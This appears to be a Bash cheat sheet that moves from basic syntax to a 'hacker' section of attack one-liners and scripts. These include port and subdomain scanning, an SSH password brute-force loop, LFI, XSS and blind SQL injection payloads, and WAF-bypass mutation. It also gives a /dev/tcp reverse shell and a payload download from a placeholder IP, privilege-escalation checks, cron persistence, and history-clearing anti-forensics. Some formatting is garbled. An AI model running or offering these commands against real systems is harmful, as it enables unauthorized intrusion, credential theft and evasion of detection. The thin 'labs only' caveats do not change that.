Shell Scripting

A comprehensive shell scripting cheatsheet

Shell Scripting Cheat Sheet (Bash)

1. What is Shell Scripting?

A shell script is a text file containing Linux/Unix commands executed by the shell (usually bash).

Common shells

2. Creating & Running a Script

touch script.sh chmod +x script.sh ./script.sh

OR

bash script.sh

Shebang (important)

#!/bin/bash

3. Variables

name="Bablu" age=20 echo $name echo \${age}

❌ No space around =

4. User Input

read name read -p "Enter your age: " age

5. Command Substitution

date_now=$(date) files='ls'

6. Special Variables

VariableMeaning
$0Script name
1−1-9Arguments
$#Number of arguments
$@All arguments
$?Last command status
$$Process ID

Example:

echo "First arg: $1"

7. Comments

# This is a comment

8. Operators

Arithmetic

echo $((a + b)) let c=a+b

Comparison

OperatorMeaning
-eqEqual
-neNot equal
-gtGreater
-ltLess
-geGreater or equal
-leLess or equal

9. If–Else

if [ $age -ge 18 ]; then echo "Adult" else echo "Minor" fi

With strings

if [ "$name" == "Bablu" ]; then echo "Welcome" fi

10. Case Statement

case $1 in start) echo "Starting" ;; stop) echo "Stopping" ;; *) echo "Invalid" ;; esac

11. Loops

For Loop

for i in 1 2 3 do echo $i done
for i in {1..5} do echo $i done

While Loop

while [ $count -le 5 ] do echo $count ((count++)) done

Until Loop

until [ $count -gt 5 ] do echo $count ((count++)) done

12. Functions

myfunc() { echo "Hello $1" } myfunc Bablu

13. Arrays

arr=(apple banana mango) echo \${arr[0]} echo \${arr[@]}

Loop:

for i in "\${arr[@]}" do echo $i done

14. String Operations

str="Hello World" echo \${#str} # Length echo \${str:0:5} # Substring echo \${str/World/Bash}

15. File & Directory Test

TestMeaning
-fFile exists
-dDirectory exists
-rReadable
-wWritable
-xExecutable
if [ -f file.txt ]; then echo "File exists" fi

16. Input / Output Redirection

ls > out.txt ls >> out.txt cat < file.txt ls 2> error.txt

17. Pipes

ps aux | grep root cat file.txt | wc -l

18. Exit Status

command if [ $? -eq 0 ]; then echo "Success" fi

19. Signals & Traps

trap "echo Interrupted; exit" SIGINT

20. Debugging

bash -x script.sh set -x set +x

21. Useful One-Liners (🔥)

find . -type f -name "*.sh" grep -i "error" file.txt awk '{print $1}' file.txt sed 's/old/new/g' file.txt

22. Cron Jobs

crontab -e
FieldMeaning
* * * * *min hr day month weekday

Example:

0 2 * * * /home/user/backup.sh

23. Best Practices

SHELL SCRIPTING FOR HACKERS

1. Linux Fundamentals (Required)

Important Directories

/var/log # Logs /etc # Configs /tmp # Temporary files /home # User data /usr/bin # Binaries

File Permissions

chmod 777 file chmod +x exploit.sh ls -la

2. Bash Script Structure

#!/bin/bash # Author: Bablu # Purpose: Recon Automation set -e # Exit on error set -u # No undefined vars set -o pipefail

3. Variables & Arguments (Weaponized)

TARGET=$1 WORDLIST=$2 THREADS=50 echo "Target: $TARGET"

Run:

./recon.sh example.com wordlist.txt

4. Input Validation (IMPORTANT)

if [ $# -ne 2 ]; then echo "Usage: $0 <target> <wordlist>" exit 1 fi

5. Command Substitution (Core Skill)

IP=$(dig +short $TARGET) LIVE=$(curl -s -o /dev/null -w "%{http_code}" $TARGET)

6. If–Else for Exploitation Logic

if [ "$LIVE" == "200" ]; then echo "[+] Target is live" else echo "[-] Target down" fi

7. Loops (Recon Power)

For Subdomain Scanning

for sub in $(cat subs.txt) do host $sub.$TARGET done

While Loop (Mass Testing)

while read url do curl -I $url done < urls.txt

8. Functions (Reusable Attacks)

scan_ports() { nmap -p- --min-rate 1000 $1 } scan_ports $TARGET

9. Arrays (Target Handling)

ports=(21 22 80 443 8080) for p in "\${ports[@]}" do nc -zv $TARGET $p done

10. File Handling (Loot Management)

touch alive.txt cat results.txt >> alive.txt rm -rf temp/

11. File & Directory Checks

if [ -f creds.txt ]; then echo "[+] Credentials found" fi

12. Input / Output Redirection (Critical)

nmap $TARGET > scan.txt nmap $TARGET 2> error.txt

Silent mode:

curl -s $TARGET

13. Pipes (Hacker Magic)

cat urls.txt | grep admin | sort -u ps aux | grep root

14. Grep – Pattern Hunting

grep "password" file.txt grep -i "token" logs.txt grep -R "apikey" .

15. Awk – Field Extraction

awk '{print $1}' ips.txt awk -F: '{print $2}' creds.txt

16. Sed – Payload Mutation

sed 's/http/https/g' urls.txt sed 's/OLD/NEW/g' file.txt

17. Curl & Wget (HTTP Weapon)

curl -I https://target.com curl -X POST -d "user=admin&pass=admin" URL wget -r https://target.com

18. Recon Automation Script ( REAL)

#!/bin/bash TARGET=$1 echo "[+] Finding IP" dig +short $TARGET > ip.txt echo "[+] Scanning Ports" nmap -sV -oN nmap.txt $TARGET echo "[+] Fetching Headers" curl -I $TARGET > headers.txt

19. Subdomain Enumeration Script

for sub in $(cat subs.txt) do ping -c 1 $sub.$TARGET &>/dev/null && echo "$sub.$TARGET LIVE" done

20. Mass URL Testing

while read url do code=$(curl -o /dev/null -s -w "%{http_code}" $url) echo "$url => $code" done < urls.txt

21. Brute Force Logic (ETHICAL USE)

while read pass do ssh user@$TARGET <<< "$pass" done < passwords.txt

(For labs & CTF only)

22. Privilege Escalation Checks

sudo -l find / -perm -4000 2>/dev/null env

Script:

find / -writable -type d 2>/dev/null

23. Log Monitoring (Persistence)

tail -f /var/log/auth.log

24. Background Execution

./scan.sh & jobs fg

25. Traps & Signals (OPSEC)

trap "echo Exiting; rm -f temp.txt" EXIT

26. Debugging Like a Pro

bash -x exploit.sh set -x \`\`\ ## 27. Cron Persistence (⚠️ Labs Only) ```bash crontab -e
*/5 * * * * /home/user/script.sh

28. One-Liners Every Hacker Must Know

find . -type f -name "*.php" grep -R "password" . awk '{print $NF}' file.txt sed '1,10d' file.txt

50 REAL SHELL SCRIPTS & ONE-LINERS FOR HACKERS

RECON & ENUMERATION (1–15)

1️⃣ Check if target is alive

curl -s -o /dev/null -w "%{http_code}\n" https://target.com

2️⃣ Resolve IP address

dig +short target.com

3️⃣ Mass subdomain alive check

while read sub; do ping -c 1 $sub.target.com &>/dev/null && echo "$sub LIVE"; done < subs.txt

4️⃣ Port scan fast

nmap -p- --min-rate 1000 target.com

5️⃣ Service version scan

nmap -sV target.com

6️⃣ Extract open ports only

grep open scan.txt | awk '{print $1}'

7️⃣ Find admin panels

grep -i admin urls.txt

8️⃣ HTTP headers grab

curl -I https://target.com

9️⃣ Technology fingerprinting

curl -s https://target.com | grep -i "php\\|wp\\|laravel"

🔟 Robots.txt fetch

curl https://target.com/robots.txt

1️⃣1️⃣ Sitemap discovery

curl https://target.com/sitemap.xml

1️⃣2️⃣ DNS brute force

for s in $(cat subs.txt); do host $s.target.com; done

1️⃣3️⃣ ASN / IP range recon

whois target.com

1️⃣4️⃣ Directory brute (simple)

while read d; do curl -s -o /dev/null -w "%{http_code} $d\n" https://target.com/$d; done < dirs.txt

1️⃣5️⃣ Screenshot alive URLs

cat urls.txt | xargs -n 1 echo "Screenshot $1"

🧪 PARAMETER & INPUT TESTING (16–25)

1️⃣6️⃣ Find parameters

grep "?" urls.txt

1️⃣7️⃣ Extract parameters only

sed 's/.*?//' urls.txt | tr '&' '\n' | sort -u

1️⃣8️⃣ XSS test payload inject

sed 's/=/=<script>alert(1)<\\/script>/g' params.txt

1️⃣9️⃣ LFI payload test

while read u; do curl "$u=../../../../etc/passwd"; done < urls.txt

2️⃣0️⃣ SQLi error detection

grep -i "sql\\|mysql\\|syntax" response.txt

2️⃣1️⃣ HTTP status code sorting

sort -k2 codes.txt

2️⃣2️⃣ Filter only 200 OK URLs

grep "200" urls_status.txt

2️⃣3️⃣ Remove duplicates

sort urls.txt | uniq

2️⃣4️⃣ URL normalization

sed 's#//#/#g' urls.txt

2️⃣5️⃣ Extract JS files

grep ".js" urls.txt

EXPLOITATION HELPERS (26–35)

2️⃣6️⃣ Find SUID binaries

find / -perm -4000 2>/dev/null

2️⃣7️⃣ Writable directories

find / -writable -type d 2>/dev/null

2️⃣8️⃣ Environment variables

env

2️⃣9️⃣ Check sudo permissions

sudo -l

3️⃣0️⃣ Find credential leaks

grep -Ri "password\\|apikey\\|secret" .

3️⃣1️⃣ Decode base64

echo "aGVsbG8=" | base64 -d

3️⃣2️⃣ Encode payload

echo "payload" | base64

3️⃣3️⃣ Reverse shell one-liner (LABS)

bash -i >& /dev/tcp/IP/4444 0>&1

3️⃣4️⃣ Download payload

wget http://IP/shell.sh

3️⃣5️⃣ Make file executable

chmod +x shell.sh

⚙️ AUTOMATION & CLEANING (36–45)

3️⃣6️⃣ Loop through targets

for t in $(cat targets.txt); do echo $t; done

3️⃣7️⃣ Parallel execution

cat targets.txt | xargs -n 1 -P 10 ping -c 1

3️⃣8️⃣ Save only errors

command 2> error.txt

3️⃣9️⃣ Background execution

./scan.sh &

4️⃣0️⃣ Kill process

kill -9 PID

4️⃣1️⃣ Monitor logs

tail -f /var/log/syslog

4️⃣2️⃣ Auto cleanup on exit

trap "rm -f temp.txt" EXIT

4️⃣3️⃣ Silent curl

curl -s target.com

4️⃣4️⃣ Random delay (OPSEC)

sleep $((RANDOM % 10))

4️⃣5️⃣ Timestamp output

echo "$(date) Scan done"

OPSEC & UTILITIES (46–50)

4️⃣6️⃣ Use TOR proxy

proxychains curl target.com

4️⃣7️⃣ Clear history

history -c

4️⃣8️⃣ Temporary workspace

mkdir /tmp/recon && cd /tmp/recon

4️⃣9️⃣ Detect root

[ "$EUID" -eq 0 ] && echo "Root"

5️⃣0️⃣ Full mini recon script

#!/bin/bash TARGET=$1 echo "[+] Scanning $TARGET" nmap -sV $TARGET -oN scan.txt curl -I $TARGET > headers.txt

ADVANCED SHELL SCRIPTING FOR HACKERS (ELITE)

1️⃣ Advanced Bash Hardening (Pro Setup)

#!/bin/bash set -Eeuo pipefail IFS=$'\n\t'

Why hackers use this:

2️⃣ Parallel Recon at Scale (FAST)

Run 20 scans in parallel

cat targets.txt | xargs -n 1 -P 20 ./scan.sh

-P = threads This is how big bounty hunters scan thousands of assets.

3️⃣ Smart Threaded HTTP Status Scanner

cat urls.txt | xargs -I{} -P 30 bash -c ' code=$(curl -s -o /dev/null -w "%{http_code}" "{}") echo "{} $code" '

Output:

https://a.com 200
https://b.com 403

4️⃣ Full Recon Chain (REAL WORKFLOW)

subfinder -d target.com | httpx -silent | tee alive.txt | xargs -n 1 -P 20 curl -I

This is real bug bounty chaining.

5️⃣ JavaScript Endpoint Mining

grep -oE "https?://[^\\"']+" *.js | sort -u

Used to find:

6️⃣ Parameter Discovery at Scale

cat alive.txt | grep "?" | sed 's/.*?//' | tr '&' '\n' | cut -d= -f1 | sort -u

Produces:

id
token
redirect
file

7️⃣ Smart Payload Injection Engine

while read url; do echo "\${url}=<script>alert(1)</script>" done < params.txt

Used before piping into scanners.

8️⃣ LFI Detection Automation

while read u; do curl -s "$u=../../../../etc/passwd" | grep root && echo "[VULN] $u" done < lfi_urls.txt

9️⃣ Response Fingerprinting

curl -s target.com | sha256sum

Compare responses to detect:

🔟 Grep Like a Monster (PCRE)

grep -RniP "(api[_-]?key|secret|token|password)" .

This finds real leaks.

1️⃣1️⃣ Advanced awk for Log Analysis

awk '$9 >= 400 {print $1,$7,$9}' access.log

Extracts:

IP URL STATUS

1️⃣2️⃣ Payload Mutation Engine (Bypass)

while read p; do echo "%2e%2e%2f$p" done < payloads.txt

Used for WAF bypass attempts.

1️⃣3️⃣ Bash + jq (JSON API Recon)

curl -s https://api.target.com/data | jq '.users[].email'

Mandatory skill for modern APIs.

1️⃣4️⃣ Auto Screenshot Pipeline

cat alive.txt | xargs -n 1 -P 10 gowitness single

Visual recon at scale.

1️⃣5️⃣ Intelligent Rate Limiting (OPSEC)

for u in $(cat urls.txt); do curl -s $u sleep $(awk 'BEGIN{srand();print rand()*3}') done

Avoid bans. Stay stealthy.

1️⃣6️⃣ Detect PrivEsc Vectors Automatically

find / -perm -4000 -type f 2>/dev/null

Combine with:

sudo -l

1️⃣7️⃣ Auto Cleanup & Anti-Forensics

trap 'rm -rf /tmp/recon_*' EXIT

Professional OPSEC habit.

1️⃣8️⃣ Advanced Recon Framework (Mini)

#!/bin/bash TARGET=$1 mkdir recon_$TARGET && cd recon_$TARGET subfinder -d $TARGET > subs.txt httpx < subs.txt > alive.txt nmap -iL alive.txt -oN nmap.txt

This is framework thinking.

1️⃣9️⃣ Blind Injection Timing Detection

time curl -s "target.com?id=1 AND SLEEP(5)"

Used for blind SQLi.

2️⃣0️⃣ Bash + Python (Elite Combo)

python3 - <<EOF import requests print(requests.get("https://target.com").status_code) EOF

Hackers don’t limit themselves to one language.